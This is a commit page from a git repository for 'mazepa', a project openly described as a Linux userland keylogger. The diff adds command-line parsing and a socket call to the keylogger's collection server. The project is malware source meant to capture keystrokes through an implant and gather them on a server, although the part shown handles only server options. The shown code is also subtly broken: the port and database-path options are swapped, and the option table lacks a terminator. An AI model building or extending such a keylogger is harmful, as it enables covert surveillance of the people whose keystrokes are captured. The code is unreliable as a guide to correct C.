mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 8c54f1692340d8c4cc01cfd5d0331f3fbfe5810d
parent 81900a9818424b6ad35f572c1e8ac4ce1962686a
Author: djnn.sh <[email protected]>
Date: Fri, 12 Jan 2024 11:02:12 +0100

feat(server): cli lexxer & loading up initial socket

Diffstat:
A.gitignore | 4++++
Mserver/Makefile | 4++--
Mserver/sources/lexxer.c | 49+++++++++++++++++++++++++++++++++++++++++++++++--
Mserver/sources/main.c | 4++++

4 files changed, 57 insertions(+), 4 deletions(-)

diff --git a/.gitignore b/.gitignore
@@ -0,0 +1,4 @@
+*.o
+*.txt
+server/server
+implant/mzp
diff --git a/server/Makefile b/server/Makefile
@@ -10,7 +10,7 @@ INCLUDES 	 	= -I./includes/
 LINK_FLAG    	= -lxkbcommon
 
 
-CFLAGS 			= -Wno-unused-command-line-argument -fPIC
+CFLAGS 			= -Wno-unused-command-line-argument -Wno-cast-qual -fPIC
 
 ifeq ($(MAKECMDGOALS), debug)
 	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security
@@ -28,7 +28,7 @@ OBJECT_DIR 		= ./objects
 vpath %$(PATTERN) $(SRC_DIR)
 
 MAIN		 	= main.c
-SRC 		 	= net.c
+SRC 		 	= net.c lexxer.c
 
 ########################
 #### COMPILATION #######
diff --git a/server/sources/lexxer.c b/server/sources/lexxer.c
@@ -1,7 +1,19 @@
 
 #include "server.h"
+#include <bits/getopt_core.h>
 #include <getopt.h>
 #include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <strings.h>
+#include <unistd.h>
+
+
+const static struct option cli_options[] = {
+    {"help", no_argument, 0, 'h'},
+    {"listen-port", required_argument, 0, 'p'},
+    {"db-path", required_argument, 0, 'd'},
+};
 
 static void get_help(const char *bin_name) {
     printf("%s: mazepa keylogger server\n", bin_name);
@@ -21,9 +33,42 @@ int parse_cli_arguments(
     ) {
 
     int c = 0;
-    int optind_digit = 0;
+    int opt_idx = 0;
+    char const *short_options = "d:p:h";
+
+    while ((c = getopt_long(ac, av, short_options, cli_options, &opt_idx)) != -1) {
+
+        switch (c) {
+            case 'h':
+                get_help(av[0]);
+                _exit(0);
+
+            case 'd':
+
+                instance->options.listen_port = (unsigned short)strtoul(optarg, NULL, 0);
+#ifdef DEBUG
+                DEBUG_LOG("setting listen port to %d", instance->options.listen_port);
+#endif
+                break;
+
+
+            case 'p':
+
+                bzero((void *)instance->options.db_filepath, STRING_BUFFER_SIZE);
+                memcpy((void *)instance->options.db_filepath, optarg, strnlen(optarg, STRING_BUFFER_SIZE));
+#ifdef DEBUG
+                DEBUG_LOG("setting .db filepath to: %s", instance->options.db_filepath);
+#endif
+                break;
+
+            case '?':
+                return ERROR;
+
+            default: break;
+
+        }
 
-    // TODO
+    }
 
     return SUCCESSFUL;
 }
diff --git a/server/sources/main.c b/server/sources/main.c
@@ -7,8 +7,12 @@ int main(int ac, char **av, char **envp) {
     server_t srv = {0};
 
     if (!parse_cli_arguments(&srv, ac, av, envp)) {
+#ifdef DEBUG
         DEBUG_LOG("[%s]: invalid arguments. exiting on startup.", av[0]);
+#endif
         _exit(1);
     }
 
+    srv.sockfd = init_remote_connection(&srv);
+
 }